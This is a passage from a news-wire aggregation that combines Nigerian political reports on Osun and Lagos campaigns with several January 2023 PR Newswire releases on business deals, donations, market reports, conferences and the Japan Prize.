Those engaging in demonstrations are APC members smuggled into the state payroll by former Governor Oyetola. By virtue of the Executive Order issued by Mr Governor, those illegally employed remain sacked and are no longer staff of the state government. No amount of demonstration and blackmail can change that reality, he said.

Those APC members are now playing the script. They have failed from the beginning as this administration will not bow to unjustified demands from those who collaborated to deepen Osun financial woes.

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The Lagos chairman of the Social Democratic Party (SDP), Dabiraoluwa Adeyinka, and some members of the state executive committee of the party have defected to the Peoples Democratic Party (PDP).

Dabiraoluwa Adeyinka, the SDP chairperson, who led the defectors to the PDP, said the leadership qualities of the governorship candidate of the PDP, Abdulazeez Jandor Adediran, and his running mate, Funke Akindele, attracted them to the PDP as the only credible alternative to the inept ruling APC.

Gbenga Ogunleye, the spokesperson for Mr Adediran, made this known in a statement on Monday.

Mr Adediran; the state governor, Babajide Sanwo-Olu; Gbadebo Rhode-Vivour of the Labour Party; and 15 others will contest the governorship seat on 25 February.

While receiving the delegation at his campaign office, Mr Adediran said the defectors had taken a wise decision at the right time.

Mr Adediran also announced the appointment of Ms Adeyinka as one of the spokespersons for his campaign council.

She joins other spokespersons earlier appointed by the governorship candidate.

The Lagos PDP chairperson, Philip Aivoji, presented the partys flag to the group and assured them that they will not experience any act of discrimination in the party when the PDP forms the government on May 29, 2023.

We want to assure you that once you join the PDP, you have become a bonafide member and you are entitled to all rights and privileges enjoyed by those you met in the party. You are free to participate in party activities at the units, wards, local governments, and the state, he was quoted as saying.

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The Lagos PDP governorship candidate, Abdul-Azeez Adediran (Jandor), on Tuesday, again decried incessant attacks on his campaign train by political thugs.

Mr Adediran reiterated the concern at a meeting with the Council of Chief Imams at the Ketu Central Mosque in Kosofe Local Government Area during his campaign tour of the council.

The candidate said that earlier in the day, his campaign train was attacked in the council by hoodlums. He said one member of his security team was stabbed.

He said that similar situations had happened repeatedly in various local governments areas since he kicked off his tour of 245 wards on 19 October 2022.

He added that some of his followers including journalists were also wounded.

Mr Adediran, who said that his campaign train had been attacked in Badagry and Agege and some other places, said the development would not dissuade him from rescuing the state from the ruling APC.

According to him, his resolve to relieve residents of the state of their numerous pains and to bring in breath of fresh air is unstoppable.

The PDP candidate also said that his running mate, Funke Akindele, was chased out of Kosofe fruit markets in the council earlier in the day.

He said such trend was not healthy for democracy in the country, stressing that he was not going to be deterred.

According to him, the desire to free the state from bondage and rescue it by allowing the wealth in the state work for all rather than few necessitated his coming into the race.

Commending the league of imams for their courage to agree to honour his call for an interactive session with them, Mr Adediran said some turned down such an overture out of fear of the ruling party.

The candidate, who sought partnership with the Islamic clerics, urged them to offer prayers to God for him.

What is happening we do not want it again. It is not good for democracy, but despite the attacks we are moving and still motivated to rescue our people.

I know it is only God that can give and take. If God gives you, no one can take, he said.

Responding, the leader of the league, Ismaheel Kajola, said that it was imperative as religious leaders to give audience and prayers for all candidates who come to seek their blessings.

Mr Kajola prayed that God would grant Jandor his heart desire.

The News Agency of Nigeria (NAN) reports that while Funke Akindele left the campaign after she was chased by hoodlums in market, Mr Adedirans campaign train and convoy moved round some streets in the council.

(NAN)

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Exclusive flexspace provider to implement cloud-based flexspace management solution to help drive growth

LONDON, Jan. 24, 2023 /PRNewswire/ -- Argyll, London's most exclusive flexible office provider, has partnered with Yardi to utilise the Yardi Kube Suite as part of its ongoing growth strategy and to enhance its premium customer service.

The company, which has over 2600 corporate customers, will implement Yardi Kube to provide seamless customer engagement, back-office accounting and reporting. The fully integrated system includes procurement, facility management and investor reporting, which will enable Argyll to access detailed data analysis and real-time information.

Argyll, Londons most exclusive flexible office provider, has partnered with Yardi to utilise the Yardi Kube Suite as part of its ongoing growth strategy. (PRNewsfoto/Yardi)

"With 30 prime properties in the capital, we are always looking for ways to exceed our customers' expectations with exceptional office spaces and personal, five-star service," said John Drover, CEO of Argyll. "We are delighted to be working with Yardi, the leaders in real estate software, as we move into our next stage of growth. We wanted a fully integrated software solution that will allow us to make faster and more informed decisions and provides a single view of the customer, so we can continue to offer a world class service.

"We are also excited to utilise the Member App as it will allow our clients to book meeting rooms, raise service requests and integrate fully with our Assa Abloy access control system so we can provide a frictionless service for our clients," Drover added.

"We're thrilled to be working with Argyll. Their vision to provide a premium experience, combined with a desire for continuous improvement and innovation, make them a perfect partner as we continue to invest in developing our Yardi Kube offering for coworking and flexible workspaces," said Justin Harley, regional director for Yardi.

See how Yardi Kube can enhance your user experience for any coworking business.

About Argyll

For more than 20 years, Argyll has set new standards in the office experience. From the finest addresses in London, Argyll's beautiful properties give high-achieving teams the most exclusive office environments, meeting rooms and event spaces, and exceptional service delivered with discretion and consistency. For more information visit workargyll.com, or @workargyll on social media.

About Yardi Kube

From space booking to member management, Wi-Fi provisioning and integrated accounting, the Yardi Kube Suite gives UK operators the connected tools needed to run flexible workspaces. For more information, visit yardikube.co.uk.

About Yardi

Yardi develops and supports industry-leading investment and property management software for all types and sizes of real estate companies. With 8,000 employees, Yardi is working with clients globally to drive significant innovation in the real estate industry. For more information on how Yardi is Energised for Tomorrow, visit yardi.co.uk .

Photo: https://mma.prnewswire.com/media/1988482/Argyll_Yardi.jpg

Logo: https://mma.prnewswire.com/media/737275/Yardi_Logo.jpg

SOURCE Yardi Systems
Over 200 printers donated to help early years education

HEMEL HEMPSTEAD, England, Jan. 24, 2023 /PRNewswire/ -- Epson has donated a further 125 EcoTank cartridge-free printers to The Usain Bolt Foundation bringing the total number of printers donated so far to 225. The Usain Bolt Foundation aims to create opportunities through education and cultural development in Jamaica. The printers will be distributed to primary schools to help early learning education.

Epson Ambassador Usain Bolt pictured with children from New Providence Primary School in Jamaica, Fayval Williams, Minister of Education and Youth; Olga Robinson Clarke, Principal at New Providence Primary School and Darren Virtue, Chairman of the school

Valued at over 50K, the printers were presented at a ceremony held at New Providence Primary School in Kingston, Jamaica. The ceremony was attended by Epson's ambassador, Usain Bolt together with the principal of New Providence Primary Mrs Olga Robinson Clarke, Fayval Williams, Minister for education and youth, and Winsome Wilkins, chair of The Usain Bolt Foundation. New Providence is just one of the many schools across Jamaica who will receive an EcoTank. They will be used to print worksheets and other educational materials, which many of the children did not have access to previously.

Usain Bolt, Epson's European ambassador for the last two years, accepted the EcoTank printers on behalf of his foundation and said: "My foundation is focused mostly on early childhood education so for me it's very important to get information to the kids when they need it most, to help them with their learning. We are very grateful for Epson's support for the second year."

Fayval Williams, minister for education and youth commented: "During the pandemic, we noticed that not all our students had technology and so having these printers will ensure that more of our students have access to the worksheets they need for their classes."

Speaking about how the printers will be used at New Providence Primary, the school's principal Olga Robinson Clarke said: "Technology has made a big difference in how we educate our children. But many of them are unable to purchase books so providing printers is a great way to help them."

Epson share's Usain Bolt's ambition to help ensure children everywhere receive the best education possible and has committed to support the United Nation's Sustainable Development Goal calling for inclusive and quality education. Mary McNulty, Head of PR and communications at Epson Europe who presented the printers on behalf of the company said: "Epson is a market leader in education around the world, and a key part of our overall strategy is enriching education through technology and we hope that this donation will help the children of Jamaica have a wonderful education and fulfil their potential. But we can't do everything by ourselves, and that is why partnerships like this and many others around the world are so important to help ensure we can all continue to grow and flourish."

Photo - https://mma.prnewswire.com/media/1988056/Epson_Europe_1.jpg

SOURCE Epson Europe
Contest bolsters city's small business incubation

DETROIT, Jan. 24, 2023 /PRNewswire/ -- Comerica Bank and TechTown Detroit announce the return of the Comerica Hatch Detroit Contest by TechTown, which awards $100,000 in startup funds from Comerica Bank to an entrepreneur seeking to open a brick-and-mortar space in Detroit, Hamtramck or Highland Park. The competition promotes small business economic development and will take place over the next four months, with the crowning of this year's winner in the spring.

Representatives from Comerica Bank, Hatch Detroit and TechTown Detroit present Little Liberia with the Comerica Hatch Detroit Contest grand prize of $100,000 during the contests Hatch Off event at the Wayne State University Industry Innovation Center in Detroit on Thursday, July 21, 2022. The 2023 Comerica Hatch Detroit Contest by TechTown is now accepting applications through Feb. 21, 2023. Interested entrepreneurs can submit their business plans by visiting www.hatchdetroit.com.

Entrepreneurs with a retail concept looking to open a brick-and-mortar location in Detroit, Highland Park or Hamtramck can now submit their business plans via the Hatch Detroit website through Feb. 21. Two information sessions will be held both in-person at TechTown Detroit and virtually on Feb. 2 and Feb. 9 to answer questions about the application and selection process. Interested entrepreneurs can sign up for information sessions at hatchdetroit.com.

The four-month contest includes two rounds of public voting  Top 10 and Top 4  allowing the community to vote for their favorite business to win the $100,000 grand prize from Comerica Bank, as well as a package of accounting, legal, IT and public relations support from TechTown Detroit and their partners.

The Comerica Hatch Detroit Contest concludes Wednesday, April 26 with the annual "Hatch Off" during which the Top 4 present their business plan in front of a panel of judges and live audience, and the winner is announced. New this year, public voting for the Top 4 will take place live during the Hatch Off.

"This community contest helps bring the dream of an aspiring business owner closer to reality and serves as a vital resource for these budding entrepreneurs," said Steve Davis, Comerica Bank Michigan Market President. "Hatch Detroit has left a lasting impact on Detroit's economic revitalization by bolstering the entrepreneurial spirit, rewarding innovation and promoting small business development. Through our partnership with TechTown, we are proud to assist local entrepreneurs access the capital and technical assistance needed to take their small business to the next level and thrive."

Over the years, the Comerica Hatch Detroit Contest has helped launch some of Detroit's most successful and well-known businesses, including, La Feria (2012), Sister Pie (2014), Meta Physica Massage (2016), Baobab Fare (2017) and 27th Letter Books (2019).

Last year's winner was Ameneh Marhaba, chef and owner of the afro-fusion pop-up Little Liberia. Hatch Detroit provides funding, exposure and mentoring in support of its alumni entrepreneurs. Together, Hatch Detroit alumni have opened 50 businesses, employ over 500 people and invested more than $13 million in their businesses.

With this year's investment, Comerica Bank and the Comerica Charitable Foundation will have committed nearly $1 million to Hatch Detroit since Comerica's partnership began in 2012. The program has been one of Detroit's most successful small business incubators since it first launched int 2011.

THE NEXT EVOLUTION OF HATCH DETROIT BY TECHTOWN

In 2022, TechTown Detroit and Hatch Detroit entered a partnership that integrated Hatch Detroit into TechTown's suite of entrepreneurial programs and services, creating a sustainable future for Hatch with another Detroit-based nonprofit that also champions small businesses and local entrepreneurs.

In 2023, Vittoria Katanski, who served as executive director of Hatch Detroit, will take on a new role with TechTown as a strategist-in-residence for their small business services department to continue supporting the businesses that comprise the Hatch Detroit alumni network. Daily operations for Hatch Detroit will fall under Christianne Malone, assistant vice president for economic development at Wayne State University and chief program officer of TechTown Detroit.

From the inception of the Comerica Hatch Detroit Contest, Katanski's focus has been not just to help launch one business, but to create an entire ecosystem of support that stimulates opportunities for entrepreneurs and generates a network of businesses prepared to navigate the challenges of launching a new venture in Detroit.

"In her 10 years as executive director, Vittoria worked very closely with alumni of the Comerica Hatch Detroit Contest and has made a lasting impact not only on the business owners but the program itself," said Malone. "The overwhelming support and continued success of Hatch alumni are a testament to the sense of community and drive for innovation that Vittoria has cultivated through her creation of and work within Hatch Detroit. We're grateful for her commitment to the city and its entrepreneurs, and we're excited to build a sustainable future for the contest while working with Vittoria to continue the legacy of her work."

Now, as a proven successful launch pad for aspiring business owners, this new iteration of the Comerica Hatch Detroit Contest, with the support of TechTown Detroit, aims to make an even bigger impact on Detroit's small business economy while uplifting its entrepreneurial spirit.

COMERICA PROGRAMMING SUPPORT

Comerica has continued to strengthen its investment in the contest with economic development programming through technical assistance and financial education over the years. Support will occur during the Comerica Hatch Detroit Contest and with both Hatch Detroit and TechTown alumni following the contest.

"After a decade of Hatch Detroit competitions, we are still astounded by the pioneers that come through this contest and the success this contest fosters," said Linda Nosegbe, Comerica Bank National Community Impact Manager. "A priority of ours is cultivating economic opportunity, especially in our underserved communities, and the Comerica Hatch Detroit Contest has served as a successful incubator and resource for businesses in Detroit. Beyond investing financially, assisting these entrepreneurs by giving them access to capital, technical assistance and business counsel to set them up for success is what makes this contest such an effective conduit for entrepreneurial growth."

KEY COMERICA HATCH DETROIT DATES:

Jan. 24: Submissions begin

Feb. 2 and Feb. 9: Information sessions

Feb. 21: Submission period ends

April 4: Top 10 announced

April 5: Top 10 voting begins

April 12: Top 10 voting ends

April 13: Top 4 announced

April 26: Winner announced at Hatch Off

Comerica Bank, a subsidiary of Comerica Incorporated, has served Michigan longer than any other bank with a continuous presence dating back over 173 years to its Detroit founding in 1849. It is the largest bank employer in metro Detroit and has more than 4,500 employees (FTE) statewide. With one of the largest banking center networks in Michigan, Comerica nurtures lifelong relationships with unwavering integrity and financial prudence. Comerica positively impacts the lives of Michigan residents by helping customers be successful, providing financial support that assists hundreds of charitable organizations, and actively participating in Detroit's downtown revitalization. Comerica Incorporated (NYSE: CMA) is a financial services company strategically aligned by three business segments: The Commercial Bank, The Retail Bank, and Wealth Management. Follow on Facebook: www.facebook.com/Comerica, Twitter: @ComericaBank and Instagram: @comerica_bank. Download new Comerica Bank corporate logo.

TechTown is a nonprofit business service organization that provides programs, education and resources for early- to growth-stage small businesses and tech entrepreneurs. By building bridges for entrepreneurs to succeed, TechTown is accelerating an inclusive economy for Detroit and Southeast Michigan. Since 2007, TechTown has supported more than 5,200 companies, which created 2,100 jobs and raised more than $207 million in startup and growth capital. For more information, visit techtowndetroit.org.

Hatch Detroit supports both existing and new retail initiatives in the cities of Detroit, Highland Park and Hamtramck. Hatch Detroit was founded in 2011 to give residents and aspiring entrepreneurs an opportunity to have a voice in neighborhood retail development and joined TechTown Detroit's suite of entrepreneurial programs and services in 2022. Beyond the contest, Hatch Detroit provides funding, exposure and mentoring in support of its alumni entrepreneurs. With support from Hatch Detroit, 50 alumni have opened businesses. They employ over 500 people and have invested over $13 million in economic development. To learn more, visit hatchdetroit.com.

SOURCE Comerica Bank
DUBLIN, Jan. 24, 2023 /PRNewswire/ -- The "Air Freshener Market: Global Industry Trends, Share, Size, Growth, Opportunity and Forecast 2022-2027" report has been added to ResearchAndMarkets.com's offering.

The global air freshener market size reached US$ 12.1 Billion in 2021. Looking forward, the publisher expects the market to reach US$ 15.0 Billion by 2027, exhibiting a CAGR of 3.65% during 2021-2027.

An air freshener is utilized to impart an aroma into space or mask unpleasant odor in homes and commercial interiors, such as foyers, restrooms, hallways, and vestibules. It also finds application in automobiles, public arenas, and large interior spaces, such as medical facilities, hotel lobbies.

It consists of adsorbents, oxidizers, surfactants, disinfectants, preservatives, aerosol propellants, and solvents like mineral oil. Besides this, it includes a scented air system that delivers fragrance throughout an indoor space by connecting a fragrance diffuser to the heating, ventilation, and air conditioning (HVAC) system.

Presently, it is available in numerous variants, including oils, gels, sprays, liquids, solids, beads, scented candles, hanging disks, plug-ins, electric fans, cleaning systems, and mist dispensers.

A significant rise in the construction of luxury homes on account of rapid urbanization and improving income levels represents one of the key factors impelling the market growth.

Moreover, air fresheners are used in care facilities, such as homeless shelters, detention centers, elder care, and childcare. Due to the rising rate of poverty, unemployment, and lack of affordable housing, governing agencies of several countries are focusing on increasing the number of care facilities, which, in turn, is impelling the market growth.

Apart from this, the growing emphasis on indoor air quality is promoting the adoption of air fresheners in indoor built environments of commercial buildings, including offices, hospitals, theaters, stores, hotels, restaurants, health clubs, and schools.

Additionally, the rising use of transportation facilities is driving the demand for air fresheners in airplanes, airports, cars, taxis, buses, and trains. Furthermore, with advances in packaging and dispersing technology, next-generation products are being developed by leading players, which is creating a positive market outlook.

Competitive Landscape:

The competitive landscape of the industry has also been examined along with the profiles of the key players being California Scents (Energizer Holdings Inc), Church & Dwight Inc., Farcent Enterprise Co. Ltd., Godrej Consumer Products Limited (The Godrej Group), Henkel AG & Co. KGaA, Kobayashi Pharmaceutical Co. Ltd., Newell Brands, Procter & Gamble, Reckitt Benckiser Group plc. and S. C. Johnson & Son Inc.

Key Questions Answered in This Report:

How has the global air freshener market performed so far and how will it perform in the coming years?

What has been the impact of COVID-19 on the global air freshener market?

What are the key regional markets?

What is the breakup of the market based on the product type?

What is the breakup of the market based on the application?

What is the breakup of the market based on the distribution channel?

What are the various stages in the value chain of the industry?

What are the key driving factors and challenges in the industry?

What is the structure of the global air freshener market and who are the key players?

What is the degree of competition in the industry?

Key Topics Covered:

1 Preface



2 Scope and Methodology



3 Executive Summary



4 Introduction

4.1 Overview

4.2 Key Industry Trends



5 Global Air Freshener Market

5.1 Market Overview

5.2 Market Performance

5.3 Impact of COVID-19

5.4 Market Forecast



6 Market Breakup by Product Type

6.1 Sprays/Aerosols

6.1.1 Market Trends

6.1.2 Market Forecast

6.2 Electric Air Fresheners

6.2.1 Market Trends

6.2.2 Market Forecast

6.3 Gels Air Fresheners

6.3.1 Market Trends

6.3.2 Market Forecast

6.4 Candles Air Fresheners

6.4.1 Market Trends

6.4.2 Market Forecast

6.5 Others

6.5.1 Market Trends

6.5.2 Market Forecast



7 Market Breakup by Application

7.1 Residential

7.1.1 Market Trends

7.1.2 Market Forecast

7.2 Corporate

7.2.1 Market Trends

7.2.2 Market Forecast

7.3 Cars

7.3.1 Market Trends

7.3.2 Market Forecast

7.4 Others

7.4.1 Market Trends

7.4.2 Market Forecast



8 Market Breakup by Distribution Channel

8.1 Supermarkets and Hypermarkets

8.1.1 Market Trends

8.1.2 Market Forecast

8.2 Convenience Stores

8.2.1 Market Trends

8.2.2 Market Forecast

8.3 Specialty Stores

8.3.1 Market Trends

8.3.2 Market Forecast

8.4 Pharmacies

8.4.1 Market Trends

8.4.2 Market Forecast

8.5 Others

8.5.1 Market Trends

8.5.2 Market Forecast



9 Market Breakup by Region



10 SWOT Analysis



11 Value Chain Analysis



12 Porters Five Forces Analysis



13 Price Analysis



14 Competitive Landscape

14.1 Market Structure

14.2 Key Players

14.3 Profiles of Key Players

14.3.1 California Scents (Energizer Holdings Inc)

14.3.1.1 Company Overview

14.3.1.2 Product Portfolio

14.3.2 Church & Dwight Inc.

14.3.2.1 Company Overview

14.3.2.2 Product Portfolio

14.3.2.3 Financials

14.3.2.4 SWOT Analysis

14.3.3 Farcent Enterprise Co. Ltd.

14.3.3.1 Company Overview

14.3.3.2 Product Portfolio

14.3.3.3 Financials

14.3.4 Godrej Consumer Products Limited (The Godrej Group)

14.3.4.1 Company Overview

14.3.4.2 Product Portfolio

14.3.4.3 Financials

14.3.5 Henkel AG & Co. KGaA

14.3.5.1 Company Overview

14.3.5.2 Product Portfolio

14.3.5.3 Financials

14.3.5.4 SWOT Analysis

14.3.6 Kobayashi Pharmaceutical Co. Ltd.

14.3.6.1 Company Overview

14.3.6.2 Product Portfolio

14.3.6.3 Financials

14.3.6.4 SWOT Analysis

14.3.7 Newell Brands

14.3.7.1 Company Overview

14.3.7.2 Product Portfolio

14.3.7.3 Financials

14.3.7.4 SWOT Analysis

14.3.8 Procter & Gamble

14.3.8.1 Company Overview

14.3.8.2 Product Portfolio

14.3.8.3 Financials

14.3.8.4 SWOT Analysis

14.3.9 Reckitt Benckiser Group plc.

14.3.9.1 Company Overview

14.3.9.2 Product Portfolio

14.3.9.3 Financials

14.3.9.4 SWOT Analysis

14.3.10 S. C. Johnson & Son Inc.

14.3.10.1 Company Overview

14.3.10.2 Product Portfolio

14.3.10.3 SWOT Analysis

For more information about this report visit https://www.researchandmarkets.com/r/1cv7nb

Media Contact: Laura Wood | +353-1-481-1716 | [email protected]

Logo: https://mma.prnewswire.com/media/539438/Research_and_Markets_Logo.jpg

SOURCE Research and Markets
MINNEAPOLIS, Jan. 24, 2023 /PRNewswire/ -- Society of Corporate Compliance and Ethics (SCCE) & Health Care Compliance Association (HCCA) is pleased to announce this year's Higher Education Compliance Conference and Research Compliance Conference, June 1113, 2023.

These professional education and networking events will be held in Phoenix, AZ, running concurrently. Registration for one event includes access to sessions from both conferences.

When asked about the unique dual structure of these conferences, SCCE & HCCA CEO Gerry Zack said, "Hosting side-by-side conferences on Higher Education compliance along with Research compliance is a unique opportunity for these communities to learn and network together."

Higher Education

SCCE's Higher Education Compliance Conference will allow attendees to explore a variety of higher education compliance issues alongside industry leaders including:

Title IX

Clery Act

Privacy and security

Compliance training

Risk assessments

Conflicts of interest

Investigations

Research

HCCA's Research Compliance Conference features educational sessions led by experienced professionals on a range of research compliance topics including:

Program effectiveness

Investigations

Conflict of Interest & disclosures

Human subject protection

CHIPS and Science Act of 2022

Research misconduct

Data management and sharing (DMS)

Staffing and diversity

Controlled substance diversion

Investigational device exemption (IDE)

Sessions will cater to a variety of experience levels; compliance professionals at any phase of their career, and in any role, are encouraged to attend. Attendees can earn up to 21.6 live Compliance Certification Board (CCB) continuing education units (CEUs) for participating, and qualified attendees have the option to sit for the Certified Compliance and Ethics Professional (CCEP) or the Certified in Healthcare Research Compliance (CHRC) certification exam, offered on the last day of each conference.

For more information or to register, visit www.corporatecompliance.org/2023highered or www.hcca-info.org/2023research

About SCCE & HCCA

Health Care Compliance Association (HCCA) was founded in 1996 to serve the healthcare compliance profession and expanded in 2004 with the Society of Corporate Compliance and Ethics (SCCE) to serve the global compliance and ethics community across all industries. With a combined 19,000+ members in 100 countries, SCCE & HCCA is the premiere nonprofit global association furthering the interests of the compliance and ethics profession. Headquartered in Minneapolis, MN, SCCE & HCCA exists to champion ethical practice and compliance standards and to provide the necessary training, publications, certifications, and other resources for ethics and compliance professionals.

Visit the SCCE website at www.corporatecompliance.org or call 888.277.4977

Visit HCCA's website at www.hcca-info.org or call 888.580.8373

SOURCE Society of Corporate Compliance and Ethics (SCCE) & Health Care Compliance Association (HCCA)
LOS ALAMITOS, Calif., Jan. 24, 2023 /PRNewswire/ -- Registration is open for the 2023 IEEE Conference on Artificial Intelligence (CAI) taking place 5-6 June 2023 in Santa Clara, California. With a focus on AI innovations and applications, the inaugural IEEE CAI will cover six verticals of importance:

AI in Healthcare/Life Sciences

AI in Transportation/Aerospace

AI in Energy

Industrial AI

AI for Earth Systems Decision Support

Ethical & Societal Implications of AI

Registration is open for the inaugural IEEE Conference on Artificial Intelligence (CAI) taking place 5-6 June 2023 in Santa Clara, California.

IEEE CAI will examine breakthroughs in industry and research, critical solutions, and cutting-edge developments. The premiere conference and exhibits series is co-sponsored by four IEEE societies that recognize the importance of AI in industry: IEEE Computational Intelligence Society (CIS), IEEE Computer Society (CS), IEEE Systems, Man, and Cybernetics Society (SMC), and IEEE Signal Processing Society (SPS).

General Co-Chairs Piero Bonissone and Gary Fogel noted, "given the number of applications of AI in industry continues to grow exponentially, it is appropriate for IEEE to bring together practitioners on a large-scale to foster innovation and excellence. Similarly, given IEEE's core purpose is also to benefit humanity, such applications must meet ethical standards as the societal implications can be large. While we might not yet have all the answers, our purpose in starting this conference series was to develop a place where thought leaders and practitioners could gather to discuss these issues and help lead AI's future directions in the best way possible. We're proud to bring this together for the first time in Silicon Valley."

IEEE CAI attendees will:

Hear keynote and plenary lectures from industry leaders in AI

Learn about the latest solutions for immediate application in industry

Network with job seekers/recruiters, VCs, and start-ups

Discover exhibits, posters, and demos from sector leaders and emerging start-ups

Attend workshops to accelerate entrepreneurship

Reflect on the societal implications of increased global reliance on AI and autonomy

Register today.

IEEE CAI 2023 offers five levels of premier sponsorship packages, extending opportunities to connect with international researchers and experts, be positioned as a leader in the AI space, and gain worldwide recognition and branding visibility.

Members of the AI community are invited to submit proposals for Workshops and Panels (deadline 1 February 2023), and authors are invited to submit 2-page Poster paper abstracts (deadline 19 March 2023). Accepted papers for IEEE CAI 2023 will be indexed in the IEEE Xplore Digital Library.

Visit IEEE CAI 2023 to view the full program, sponsorship packages, author information, and all registration details.

Stay informed - Sign up for IEEE CAI 23 news and alerts .

About IEEE

IEEE is the world's largest technical professional organization dedicated to advancing technology for the benefit of humanity. Through its highly cited publications, conferences, technology standards, professional and educational activities, IEEE is the trusted voice in a wide variety of areas ranging from electrical engineering, aerospace systems, telecommunications and computer science to biomedical engineering, artificial intelligence, and consumer electronics. IEEE has expanded its open access program and launched many new fully open access titles in fields such as computing, telecommunications, biomedical engineering, nanotechnology and more. Learn more.

About the IEEE Computer Society

Through conferences, publications, and programs, the IEEE Computer Society (IEEE CS) sets the standard for the education and engagement that fuels global technological advancement. By bringing together engineers, scientists, researchers, and practitioners from all areas of computing and at every career phase, the IEEE CS enables new opportunities and empowers not only its members but also the greater industry. Visit computer.org for more information.

SOURCE IEEE Computer Society
TOKYO, Jan. 24, 2023 /PRNewswire/ -- The Japan Prize Foundation announced the winners of the 2023 Japan Prize on January 24, 2023. Prof. Masataka Nakazawa and Mr. Kazuo Hagimoto, both of Japan, are co-winners of the Japan Prize in the fields of Electronics, Information, and Communication, and Prof. Gero Miesenboeck of Austria and Prof. Karl Deisseroth of the United States are co-winners of the Japan Prize in the field of Life Science.

- Fields of Electronics, Information, and Communication

Prof. Masataka Nakazawa

https://kyodonewsprwire.jp/prwfile/release/M000319/202301122017/_prw_PI1fl_6Rl1J1P6.jpg

Mr. Kazuo Hagimoto

https://kyodonewsprwire.jp/prwfile/release/M000319/202301122017/_prw_PI2fl_92oy84V5.jpg

- Field of Life Science

Prof. Gero Miesenboeck

https://kyodonewsprwire.jp/prwfile/release/M000319/202301122017/_prw_PI3fl_umu1Iz4Y.jpg

Prof. Karl Deisseroth

https://kyodonewsprwire.jp/prwfile/release/M000319/202301122017/_prw_PI4fl_NHukgJH3.jpg

For this year's Japan Prize, Prof. Nakazawa and Mr. Hagimoto are being recognized for their distinguished contributions to global long-distance, high-capacity optical fiber network through the development of semiconductor laser pumped optical amplifier, while Prof. Miesenboeck and Prof. Deisseroth are being recognized for their development of methods that use genetically addressable light-sensitive membrane proteins to unravel neural circuit functions.

For the 2023 Japan Prize, the Foundation asked approximately 15,500 prominent scientists and engineers from around the world to nominate researchers working in this year's fields. It received 123 nominations in the fields of Electronics, Information, and Communication, and 204 nominations for the field of Life Science. This year's winners were selected from that total of 327 candidates.

About the Japan Prize

The establishment of the Japan Prize in 1981 was motivated by the Japanese government's desire to create an internationally recognized award that would contribute to scientific and technological development around the world. With the support of numerous donations, the Japan Prize Foundation received endorsement from the Cabinet Office in 1983.

The Japan Prize is awarded to scientists and engineers from around the world, who have made creative and dramatic achievements that help progress their fields and contribute significantly to realizing peace and prosperity for all humanity. Researchers in all fields of science and technology are eligible for the award, with two fields selected each year in consideration of current trends in scientific and technological development. In principle, one individual in each field is recognized with the award, and receives a certificate, a medal, and a monetary prize. Each Award Ceremony is attended by the current Emperor and Empress, heads of the three branches of government and other related officials, and representatives from various other elements of society.

SOURCE Japan Prize Foundation
NEW YORK, Jan. 24, 2023 /PRNewswire/ -- The 3D printing materials market has garnered USD 2,578.8 million in revenue in 2022, and it is projected to rise by 25.9%, to capture USD 16,230.8 million by 2030, as per P&S Intelligence.

This growth can be ascribed to the snowballing use of 3D printing in the manufacturing industry for mass customization and the rising demand for automobiles in developing countries.

Get the sample pages of this report: https://www.psmarketresearch.com/market-analysis/3d-printing-materials-market/report-sample

3D Printing Plastics Are Consumed in Highest Quantities

In 2022, the plastic category dominated the market with a share of above 30%, by volume. This is because plastic is cheap, easily available, and useful for a range of designs. Additionally, over other types, plastic materials provide a better resistance to abrasion, versatility, extreme temperatures, and shock, along with exceptional durability and flexibility.

Furthermore, polymers are best suited for 3D printing applications because they offer a variety of colors and are lightweight. Additionally, plastics can endure stress and be easily molded into several forms. Hence, they are extensively demanded for additive manufacturing in the consumer goods, automotive, medical, and electronics industries in European countries.

Filament Form Is Most-Extensively Used

In 2022, the filament form category had the largest volume share in the 3D printing materials industry. This can be ascribed to the usage of filaments in several household objects, educational models, cars, and toys.

The most-commonly used filaments are PP, TPU, ABS, nylon, PVA, and PLA, credited to their high strength, low cost, and wide application areas.

North American Firms Key Customers for 3D Printing Material Suppliers

In 2022, North America had the largest share in the market, of approximately 45%. This can be ascribed to the extensive adoption of this technology in product manufacturing and mass customization. The U.S. and Canadian governments are playing a key role in boosting the usage of 3D printing.

In 2022, Europe had the second-largest share, of approximately 35%, owing to the existence of established aircraft manufacturing businesses, including EuroJet Turbo GmbH, Airbus SE, European Satellite Navigation Industries, and ArianeGroup.

Because 3D printing offers operators a lower risk of equipment failure, simpler supply chain, and low end product weight, their acceptance has improved in the aerospace sector.

Browse detailed report on 3D Printing Materials Market Growth, Development and Demand Forecast to 2030

Aerospace and Defense Firms Widely 3D-Printing Key Components

With a share of 40%, aerospace and defense stands as the largest end user in the market. Such companies have widely begun to 3D-print parts from titanium, one of the most-expensive materials for this industry. For instance, GE is using 19 3D-printed fuel nozzles in its GE9X engines, which are designed for the next generation of Boeing 777xs.

3D Printing Materials Market Report Coverage

By Type

Plastics

Metals

Ceramics

By Form

Powder

Filament

Liquid

By End User

Aerospace and Defense

Medical and Dental

Automotive

Consumer Goods

By Technology

FDM

SLS

SLA

DMLS

By Application

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About P&S Intelligence

P&S Intelligence provides market research and consulting services to a vast array of industries across the world. As an enterprising research and consulting company, P&S believes in providing thorough insights on the ever-changing market scenario, to empower companies to make informed decisions and base their business strategies with astuteness. P&S keeps the interest of its clients at heart, which is why the insights we provide are both honest and accurate. Our long list of satisfied clients includes entry-level firms as well as multi-million-dollar businesses and government agencies.

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Prajneesh Kumar

P&S Intelligence

Phone: +1-347-960-6455

Email: [email protected]

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SOURCE P&S Intelligence
Details company's progress on ESG goals and highlights sustainable product innovations

PLYMOUTH, Mich., Jan. 24, 2023 /PRNewswire/ -- Adient (NYSE: ADNT), a global leader in automotive seating, today releases its 2022 Sustainability Report, which details how Adient continues to reduce the impact its business has on the environment.

The new report, available at www.adient.com/about-us/sustainability, highlights Adient's Environmental, Social and Governance (ESG) goals and accomplishments and explains how the company integrates sustainability into its products, global operations and supply chain.

The report includes information about how Adient has reduced its absolute greenhouse gas emissions in line with its Science Based Targets initiative (SBTi)-validated emissions-reduction targets; increased its renewable electricity share globally; and implemented new ESG policies designed to further embed sustainability into the core of the company.

"We remain committed to following positive ESG-related business practices that help protect the environment, safeguard people, promote a culture of inclusion and create a better world," said Doug Del Grosso, Adient president and CEO. "This report illustrates the considerable progress we have made toward our ESG goals in fiscal year 2022 and highlights the hundreds of sustainability projects initiated by our teams as well as the many innovative sustainable products Adient has to offer."

2022 Sustainability Report Highlights

